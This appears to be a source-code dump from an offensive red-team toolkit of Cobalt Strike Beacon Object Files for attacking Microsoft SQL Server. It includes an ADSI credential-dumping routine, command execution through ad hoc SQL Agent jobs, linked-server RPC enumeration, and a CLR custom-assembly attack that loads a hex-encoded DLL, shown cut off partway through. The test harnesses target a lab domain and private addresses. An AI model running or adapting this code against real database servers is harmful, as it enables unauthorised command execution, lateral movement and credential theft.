DisconnectSqlServer(env2, dbc2, stmt2); 365 | } 366 | 367 | 368 | #ifdef BOF 369 | VOID go( 370 | IN PCHAR Buffer, 371 | IN ULONG Length 372 | ) 373 | { 374 | char* server; 375 | char* database; 376 | char* link; 377 | char* impersonate; 378 | char* adsiServer; 379 | char* port; 380 | 381 | // 382 | // parse beacon args 383 | // 384 | datap parser; 385 | BeaconDataParse(&parser, Buffer, Length); 386 | server = BeaconDataExtract(&parser, NULL); 387 | database = BeaconDataExtract(&parser, NULL); 388 | link = BeaconDataExtract(&parser, NULL); 389 | impersonate = BeaconDataExtract(&parser, NULL); 390 | adsiServer = BeaconDataExtract(&parser, NULL); 391 | port = BeaconDataExtract(&parser, NULL); 392 | 393 | server = *server == 0 ? "localhost" : server; 394 | database = *database == 0 ? "master" : database; 395 | link = *link == 0 ? NULL : link; 396 | impersonate = *impersonate == 0 ? NULL : impersonate; 397 | 398 | if(!bofstart()) 399 | { 400 | return; 401 | } 402 | 403 | if (UsingLinkAndImpersonate(link, impersonate)) 404 | { 405 | return; 406 | } 407 | 408 | DumpAdsiCreds(server, database, link, impersonate, adsiServer, port); 409 | printoutput(TRUE); 410 | }; 411 | 412 | #else 413 | 414 | int main() 415 | { 416 | internal_printf("============ BASE TEST ============\n\n"); 417 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "ADSIr", "4444"); 418 | 419 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 420 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "ADSIr", "4444"); 421 | 422 | internal_printf("\n\n============ LINK TEST ============\n\n"); 423 | DumpAdsiCreds("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "ADSIEssos", "4444"); 424 | } 425 | 426 | #endif 427 | -------------------------------------------------------------------------------- /src/SQL/agentcmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := agentcmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/agentcmd/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | #include "sql_agent.c" 7 | 8 | 9 | void ExecuteAgentCommand(char* server, char* database, char* link, char* impersonate, char* command) 10 | { 11 | SQLHENV env = NULL; 12 | SQLHSTMT stmt = NULL; 13 | SQLHDBC dbc = NULL; 14 | char* jobName = NULL; 15 | char* stepName = NULL; 16 | SQLRETURN ret; 17 | 18 | 19 | if (link == NULL) 20 | { 21 | dbc = ConnectToSqlServer(&env, server, database); 22 | } 23 | else 24 | { 25 | dbc = ConnectToSqlServer(&env, server, NULL); 26 | } 27 | 28 | if (dbc == NULL) { 29 | goto END; 30 | } 31 | 32 | if (link == NULL) 33 | { 34 | internal_printf("[*] Executing command in SQL Agent job on %s\n\n", server); 35 | } 36 | else 37 | { 38 | internal_printf("[*] Executing command in SQL Agent job on %s via %s\n\n", link, server); 39 | } 40 | 41 | // 42 | // allocate statement handle 43 | // 44 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 45 | if (!SQL_SUCCEEDED(ret)) { 46 | internal_printf("[!] Failed to allocate statement handle\n"); 47 | goto END; 48 | } 49 | 50 | // 51 | // if using linked server, ensure rpc is enabled 52 | // 53 | if (link != NULL) 54 | { 55 | if (IsRpcEnabled(stmt, link)) 56 | { 57 | internal_printf("[*] RPC out is enabled\n"); 58 | } 59 | else 60 | { 61 | internal_printf("[!] RPC out is not enabled\n"); 62 | goto END; 63 | } 64 | 65 | // 66 | // close the cursor 67 | // 68 | ODBC32$SQLCloseCursor(stmt); 69 | } 70 | 71 | if (!IsAgentRunning(stmt, link, impersonate)) 72 | { 73 | internal_printf("[!] SQL Agent is not running\n"); 74 | goto END; 75 | } 76 | 77 | // 78 | // Close the cursor 79 | // 80 | ret = ODBC32$SQLCloseCursor(stmt); 81 | if (!SQL_SUCCEEDED(ret)) { 82 | internal_printf("[!] Failed to close cursor\n"); 83 | goto END; 84 | } 85 | 86 | internal_printf("[*] SQL Agent is running\n"); 87 | 88 | // 89 | // Add agent job 90 | // 91 | InitRandomSeed(); 92 | jobName = GenerateRandomString(8); 93 | stepName = GenerateRandomString(8); 94 | 95 | if (!AddAgentJob(stmt, link, impersonate, command, jobName, stepName)) 96 | { 97 | internal_printf("[!] Failed to add agent job\n"); 98 | goto END; 99 | } 100 | 101 | ClearCursor(stmt); 102 | internal_printf("[*] Added job\n"); 103 | 104 | // 105 | // Print jobs to verify job was added 106 | // 107 | if (!GetAgentJobs(stmt, link, impersonate)) 108 | { 109 | internal_printf("[!] Failed to get agent jobs\n"); 110 | goto END; 111 | } 112 | 113 | internal_printf("\n"); 114 | PrintQueryResults(stmt, TRUE); 115 | 116 | // 117 | // Close the cursor 118 | // 119 | ret = ODBC32$SQLCloseCursor(stmt); 120 | if (!SQL_SUCCEEDED(ret)) { 121 | internal_printf("[!] Failed to close cursor\n"); 122 | goto END; 123 | } 124 | 125 | internal_printf("\n[*] Executing job %s and waiting 5 seconds...\n", jobName); 126 | ExecuteAgentJob(stmt, link, impersonate, jobName); 127 | 128 | 129 | ClearCursor(stmt); 130 | 131 | // 132 | // Cleanup job 133 | // 134 | if (!DeleteAgentJob(stmt, link, impersonate, jobName)) 135 | { 136 | internal_printf("[!] Failed to delete agent job\n"); 137 | goto END; 138 | } 139 | 140 | internal_printf("[*] Job %s deleted\n", jobName); 141 | 142 | ClearCursor(stmt); 143 | 144 | // 145 | // Print jobs to verify job was added 146 | // 147 | if (!GetAgentJobs(stmt, link, impersonate)) 148 | { 149 | internal_printf("[!] Failed to get agent jobs\n"); 150 | goto END; 151 | } 152 | 153 | internal_printf("\n"); 154 | PrintQueryResults(stmt, TRUE); 155 | 156 | 157 | END: 158 | if (jobName != NULL) intFree(jobName); 159 | if (stepName != NULL) intFree(stepName); 160 | ODBC32$SQLCloseCursor(stmt); 161 | DisconnectSqlServer(env, dbc, stmt); 162 | } 163 | 164 | 165 | #ifdef BOF 166 | VOID go( 167 | IN PCHAR Buffer, 168 | IN ULONG Length 169 | ) 170 | { 171 | char* server; 172 | char* database; 173 | char* link; 174 | char* impersonate; 175 | char* command; 176 | 177 | // 178 | // parse beacon args 179 | // 180 | datap parser; 181 | BeaconDataParse(&parser, Buffer, Length); 182 | 183 | server = BeaconDataExtract(&parser, NULL); 184 | database = BeaconDataExtract(&parser, NULL); 185 | link = BeaconDataExtract(&parser, NULL); 186 | impersonate = BeaconDataExtract(&parser, NULL); 187 | command = BeaconDataExtract(&parser, NULL); 188 | 189 | server = *server == 0 ? "localhost" : server; 190 | database = *database == 0 ? "master" : database; 191 | link = *link == 0 ? NULL : link; 192 | impersonate = *impersonate == 0 ? NULL : impersonate; 193 | 194 | if(!bofstart()) 195 | { 196 | return; 197 | } 198 | 199 | if (UsingLinkAndImpersonate(link, impersonate)) 200 | { 201 | return; 202 | } 203 | 204 | ExecuteAgentCommand(server, database, link, impersonate, command); 205 | 206 | printoutput(TRUE); 207 | }; 208 | 209 | #else 210 | 211 | int main() 212 | { 213 | // 214 | // GOAD uses SQLExpress so turning to makeshift lab here 215 | // 216 | internal_printf("============ BASE TEST ============\n\n"); 217 | ExecuteAgentCommand("192.168.0.215", "master", NULL, NULL, "notepad.exe"); 218 | 219 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 220 | ExecuteAgentCommand("192.168.0.215", "master", NULL, "sa", "notepad.exe"); 221 | 222 | internal_printf("\n\n============ LINK TEST ============\n\n"); 223 | ExecuteAgentCommand("192.168.0.215", "master", "TRETOGOR", NULL, "notepad.exe"); 224 | } 225 | 226 | #endif 227 | -------------------------------------------------------------------------------- /src/SQL/agentstatus/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := agentstatus 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/agentstatus/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | #include "sql_agent.c" 7 | 8 | 9 | void CheckAgentStatus(char* server, char* database, char* link, char* impersonate) 10 | { 11 | SQLHENV env = NULL; 12 | SQLHSTMT stmt = NULL; 13 | SQLHDBC dbc = NULL; 14 | SQLRETURN ret; 15 | 16 | 17 | if (link == NULL) 18 | { 19 | dbc = ConnectToSqlServer(&env, server, database); 20 | } 21 | else 22 | { 23 | dbc = ConnectToSqlServer(&env, server, NULL); 24 | } 25 | 26 | if (dbc == NULL) { 27 | goto END; 28 | } 29 | 30 | if (link == NULL) 31 | { 32 | internal_printf("[*] Getting SQL agent status on %s\n\n", server); 33 | } 34 | else 35 | { 36 | internal_printf("[*] Getting SQL agent status on %s via %s\n\n", link, server); 37 | } 38 | 39 | // 40 | // allocate statement handle 41 | // 42 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 43 | if (!SQL_SUCCEEDED(ret)) { 44 | internal_printf("[!] Failed to allocate statement handle\n"); 45 | goto END; 46 | } 47 | 48 | if (!IsAgentRunning(stmt, link, impersonate)) 49 | { 50 | internal_printf("[!] SQL Agent is not running\n"); 51 | goto END; 52 | } 53 | 54 | // 55 | // Close the cursor 56 | // 57 | ret = ODBC32$SQLCloseCursor(stmt); 58 | if (!SQL_SUCCEEDED(ret)) { 59 | internal_printf("[!] Failed to close cursor\n"); 60 | goto END; 61 | } 62 | 63 | internal_printf("[*] SQL Agent is running\n\n"); 64 | 65 | if (!GetAgentJobs(stmt, link, impersonate)) 66 | { 67 | internal_printf("[!] Failed to get agent jobs\n"); 68 | goto END; 69 | } 70 | 71 | PrintQueryResults(stmt, TRUE); 72 | 73 | END: 74 | ODBC32$SQLCloseCursor(stmt); 75 | DisconnectSqlServer(env, dbc, stmt); 76 | } 77 | 78 | 79 | #ifdef BOF 80 | VOID go( 81 | IN PCHAR Buffer, 82 | IN ULONG Length 83 | ) 84 | { 85 | char* server; 86 | char* database; 87 | char* link; 88 | char* impersonate; 89 | 90 | // 91 | // parse beacon args 92 | // 93 | datap parser; 94 | BeaconDataParse(&parser, Buffer, Length); 95 | 96 | server = BeaconDataExtract(&parser, NULL); 97 | database = BeaconDataExtract(&parser, NULL); 98 | link = BeaconDataExtract(&parser, NULL); 99 | impersonate = BeaconDataExtract(&parser, NULL); 100 | 101 | server = *server == 0 ? "localhost" : server; 102 | database = *database == 0 ? "master" : database; 103 | link = *link == 0 ? NULL : link; 104 | impersonate = *impersonate == 0 ? NULL : impersonate; 105 | 106 | if(!bofstart()) 107 | { 108 | return; 109 | } 110 | 111 | if (UsingLinkAndImpersonate(link, impersonate)) 112 | { 113 | return; 114 | } 115 | 116 | CheckAgentStatus(server, database, link, impersonate); 117 | 118 | printoutput(TRUE); 119 | }; 120 | 121 | #else 122 | 123 | int main() 124 | { 125 | // 126 | // GOAD uses SQLExpress so turning to makeshift lab here 127 | // 128 | internal_printf("============ BASE TEST ============\n\n"); 129 | CheckAgentStatus("192.168.0.215", "master", NULL, NULL); 130 | 131 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 132 | CheckAgentStatus("192.168.0.215", "master", NULL, "sa"); 133 | 134 | internal_printf("\n\n============ LINK TEST ============\n\n"); 135 | CheckAgentStatus("192.168.0.215", "master", "TRETOGOR", NULL); 136 | } 137 | 138 | #endif 139 | -------------------------------------------------------------------------------- /src/SQL/checkrpc/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := checkrpc 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/checkrpc/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckRpc(char* server, char* database, char* link, char* impersonate) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | SQLRETURN ret; 13 | 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Enumerating RPC status of linked servers on %s\n\n", server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Enumerating RPC status of linked servers on %s via %s\n\n", link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) { 43 | internal_printf("[!] Error allocating statement handle\n"); 44 | goto END; 45 | } 46 | 47 | // 48 | // Run the query 49 | // 50 | SQLCHAR* query = (SQLCHAR*)"SELECT name, is_rpc_out_enabled FROM sys.servers"; 51 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 52 | goto END; 53 | } 54 | PrintQueryResults(stmt, TRUE); 55 | 56 | END: 57 | ODBC32$SQLCloseCursor(stmt); 58 | DisconnectSqlServer(env, dbc, stmt); 59 | } 60 | 61 | 62 | #ifdef BOF 63 | VOID go( 64 | IN PCHAR Buffer, 65 | IN ULONG Length 66 | ) 67 | { 68 | char* server; 69 | char* database; 70 | char* link; 71 | char* impersonate; 72 | 73 | // 74 | // parse beacon args 75 | // 76 | datap parser; 77 | BeaconDataParse(&parser, Buffer, Length); 78 | 79 | server = BeaconDataExtract(&parser, NULL); 80 | database = BeaconDataExtract(&parser, NULL); 81 | link = BeaconDataExtract(&parser, NULL); 82 | impersonate = BeaconDataExtract(&parser, NULL); 83 | 84 | server = *server == 0 ? "localhost" : server; 85 | database = *database == 0 ? "master" : database; 86 | link = *link == 0 ? NULL : link; 87 | impersonate = *impersonate == 0 ? NULL : impersonate; 88 | 89 | if(!bofstart()) 90 | { 91 | return; 92 | } 93 | 94 | if (UsingLinkAndImpersonate(link, impersonate)) 95 | { 96 | return; 97 | } 98 | 99 | CheckRpc(server, database, link, impersonate); 100 | 101 | printoutput(TRUE); 102 | }; 103 | 104 | #else 105 | 106 | int main() 107 | { 108 | internal_printf("============ BASE TEST ============\n\n"); 109 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 110 | 111 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 112 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 113 | 114 | internal_printf("\n\n============ LINK TEST ============\n\n"); 115 | CheckRpc("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 116 | } 117 | 118 | #endif 119 | -------------------------------------------------------------------------------- /src/SQL/clr/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := clr 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/clr/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | #include "sql_clr.c" 7 | 8 | 9 | void ExecuteClrAssembly(char* server, char* database, char* link, char* impersonate, char* function, char* hash, char* hexBytes) 10 | { 11 | SQLHENV env = NULL; 12 | SQLHSTMT stmt = NULL; 13 | SQLHDBC dbc = NULL; 14 | SQLRETURN ret; 15 | 16 | InitRandomSeed(); 17 | char* dllPath = GenerateRandomString(8); 18 | char* assemblyName = GenerateRandomString(8); 19 | 20 | if (link == NULL) 21 | { 22 | dbc = ConnectToSqlServer(&env, server, database); 23 | } 24 | else 25 | { 26 | dbc = ConnectToSqlServer(&env, server, NULL); 27 | } 28 | 29 | if (dbc == NULL) { 30 | goto END; 31 | } 32 | 33 | if (link == NULL) 34 | { 35 | internal_printf("[*] Performing CLR custom assembly attack on %s\n\n", server); 36 | } 37 | else 38 | { 39 | internal_printf("[*] Performing CLR custom assembly attack on %s via %s\n\n", link, server); 40 | } 41 | // 42 | // allocate statement handle 43 | // 44 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 45 | if (!SQL_SUCCEEDED(ret)) { 46 | internal_printf("[!] Failed to allocate statement handle\n"); 47 | goto END; 48 | } 49 | 50 | // 51 | // verify that xp_cmdshell is enabled 52 | // 53 | if (IsModuleEnabled(stmt, "clr enabled", link, impersonate)) 54 | { 55 | internal_printf("[*] CLR is enabled\n"); 56 | } 57 | else 58 | { 59 | internal_printf("[!] CLR is not enabled\n"); 60 | goto END; 61 | } 62 | 63 | // 64 | // close the cursor 65 | // 66 | ret = ODBC32$SQLCloseCursor(stmt); 67 | if (!SQL_SUCCEEDED(ret)) { 68 | internal_printf("[!] Failed to close cursor\n"); 69 | goto END; 70 | } 71 | 72 | // 73 | // if using linked server, ensure rpc is enabled 74 | // 75 | if (link != NULL) 76 | { 77 | if (IsRpcEnabled(stmt, link)) 78 | { 79 | internal_printf("[*] RPC out is enabled\n"); 80 | } 81 | else 82 | { 83 | internal_printf("[!] RPC out is not enabled\n"); 84 | goto END; 85 | } 86 | 87 | // 88 | // close the cursor 89 | // 90 | ret = ODBC32$SQLCloseCursor(stmt); 91 | if (!SQL_SUCCEEDED(ret)) { 92 | internal_printf("[!] Failed to close cursor\n"); 93 | goto END; 94 | } 95 | } 96 | 97 | // 98 | // Check if the assembly hash already exists in sys.trusted_assemblies 99 | // and drop it if it does 100 | // 101 | if (AssemblyHashExists(stmt, hash, link, impersonate)) 102 | { 103 | internal_printf("[!] Assembly hash already exists in sys.trusted_assesmblies\n"); 104 | internal_printf("[*] Dropping existing assembly hash before continuing\n"); 105 | 106 | // 107 | // Close the cursor 108 | // 109 | ret = ODBC32$SQLCloseCursor(stmt); 110 | if (!SQL_SUCCEEDED(ret)) { 111 | internal_printf("[!] Failed to close cursor\n"); 112 | goto END; 113 | } 114 | 115 | if (!DeleteTrustedAssembly(stmt, hash, link, impersonate)) 116 | { 117 | internal_printf("[!] Failed to drop existing assembly hash\n"); 118 | goto END; 119 | } 120 | } 121 | else 122 | { 123 | // 124 | // Close the cursor 125 | // 126 | ret = ODBC32$SQLCloseCursor(stmt); 127 | if (!SQL_SUCCEEDED(ret)) { 128 | internal_printf("[!] Failed to close cursor\n"); 129 | goto END; 130 | } 131 | } 132 | 133 | // 134 | // Add the DLL to sys.trusted_assemblies 135 | // 136 | if (!AddTrustedAssembly(stmt, dllPath, hash, link, impersonate)) 137 | { 138 | internal_printf("[!] Failed to add trusted assembly\n"); 139 | goto END; 140 | } 141 | 142 | internal_printf("[*] Added SHA-512 hash for DLL to sys.trusted_assemblies with the name \"%s\"\n", dllPath); 143 | 144 | // 145 | // Ensure procedure and assembly names do not already exist 146 | // 147 | if (!DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate)) 148 | { 149 | internal_printf("[!] Failed to drop existing assembly and procedure\n"); 150 | goto END; 151 | } 152 | 153 | // 154 | // Create the custom assembly 155 | // 156 | internal_printf("[*] Creating a new custom assembly with the name \"%s\"\n", assemblyName); 157 | CreateAssembly(stmt, assemblyName, hexBytes, link, impersonate); 158 | 159 | // 160 | // Verify that the assembly exists before we continue 161 | // 162 | if (!AssemblyExists(stmt, assemblyName, link, impersonate)) 163 | { 164 | internal_printf("[!] Failed to create custom assembly\n"); 165 | internal_printf("[*] Cleaning up...\n"); 166 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 167 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 168 | goto END; 169 | } 170 | 171 | // 172 | // Create the stored procedure 173 | // 174 | internal_printf("[*] Loading DLL into stored procedure \"%s\"\n", function); 175 | CreateAssemblyStoredProc(stmt, assemblyName, function, FALSE, link, impersonate); 176 | 177 | // 178 | // Verify that the stored procedure exists before we continue 179 | // 180 | if (!AssemblyStoredProcExists(stmt, function, link, impersonate)) 181 | { 182 | internal_printf("[!] Stored procedure not found\n"); 183 | internal_printf("[*] Cleaning up...\n"); 184 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 185 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 186 | goto END; 187 | } 188 | 189 | internal_printf("[*] Created \"[%s].[StoredProcedures].[%s]\"\n", assemblyName, function); 190 | 191 | // 192 | // Execute the stored procedure 193 | // 194 | internal_printf("[*] Executing payload...\n"); 195 | ExecuteAssemblyStoredProc(stmt, function, link, impersonate); 196 | 197 | // 198 | // Cleanup before we exit 199 | // 200 | internal_printf("[*] Cleaning up...\n"); 201 | DeleteTrustedAssembly(stmt, hash, link, impersonate); 202 | DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate); 203 | 204 | 205 | END: 206 | intFree(dllPath); 207 | intFree(assemblyName); 208 | ODBC32$SQLCloseCursor(stmt); 209 | DisconnectSqlServer(env, dbc, stmt); 210 | } 211 | 212 | 213 | #ifdef BOF 214 | VOID go( 215 | IN PCHAR Buffer, 216 | IN ULONG Length 217 | ) 218 | { 219 | char* server; 220 | char* database; 221 | char* link; 222 | char* impersonate; 223 | char* function; 224 | char* hash; 225 | char* hexBytes; 226 | LPBYTE lpDllBuffer = NULL; 227 | DWORD dwDllBufferSize = 0; 228 | 229 | // 230 | // parse beacon args 231 | // 232 | datap parser; 233 | BeaconDataParse(&parser, Buffer, Length); 234 | server = BeaconDataExtract(&parser, NULL); 235 | database = BeaconDataExtract(&parser, NULL); 236 | link = BeaconDataExtract(&parser, NULL); 237 | impersonate = BeaconDataExtract(&parser, NULL); 238 | function = BeaconDataExtract(&parser, NULL); 239 | hash = BeaconDataExtract(&parser, NULL); 240 | lpDllBuffer = BeaconDataExtract(&parser, (int*)&dwDllBufferSize); 241 | 242 | server = *server == 0 ? "localhost" : server; 243 | database = *database == 0 ? "master" : database; 244 | link = *link == 0 ? NULL : link; 245 | impersonate = *impersonate == 0 ? NULL : impersonate; 246 | 247 | if(!bofstart()) 248 | { 249 | return; 250 | } 251 | 252 | if (UsingLinkAndImpersonate(link, impersonate)) 253 | { 254 | return; 255 | } 256 | 257 | // 258 | // Convert the raw dll to hex string 259 | // 260 | hexBytes = (char*) intAlloc(dwDllBufferSize * 2 + 1); 261 | if (hexBytes == NULL) 262 | { 263 | internal_printf("[!] Failed to allocate memory for hex conversion\n"); 264 | printoutput(FALSE); 265 | return; 266 | } 267 | 268 | for (DWORD i = 0; i < dwDllBufferSize; i++) 269 | { 270 | MSVCRT$sprintf(hexBytes + (i * 2), "%02X", lpDllBuffer[i]); 271 | } 272 | hexBytes[dwDllBufferSize * 2] = '\0'; 273 | 274 | ExecuteClrAssembly(server, database, link, impersonate, function, hash, hexBytes); 275 | intFree(hexBytes); 276 | printoutput(TRUE); 277 | }; 278 | 279 | #else 280 | 281 | int main() 282 | { 283 | // 284 | // DLL spawns notepad.exe 285 | // source here: https://github.com/Tw1sm/PySQLRecon/blob/main/resources/dotnet/CreateProcess.cs 286 | // 287 | char* bytes = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300607eef640000000000000000e00002210b010b00000400000006000000000000ce2300000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000007c2300004f00000000400000b802000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000d4030000002000000004000000020000000000000000000000000000200000602e72737263000000b8020000004000000004000000060000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000000a00000000000000000000000000004000004200000000000000000000000000000000b02300000000000048000000020005006820000014030000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036007201000070280400000a262a1e02280500000a2a000042534a4201000100000000000c00000076342e302e33303331390000000005006c0000001c010000237e0000880100001401000023537472696e6773000000009c0200001c00000023555300b8020000100000002347554944000000c80200004c00000023426c6f620000000000000002000001471400000900000000fa253300160000010000000500000002000000020000000500000003000000010000000300000000000a0001000000000006003d0036000600780058000600980058000a00dd00c2000e000601f3000000000001000000000001000100010010001c000000050001000100502000000000960044000a0001005e2000000000861852000e000100110052001200190052000e00210052000e0029000e011c00090052000e0020001b0017002e000b0022002e0013002b00048000000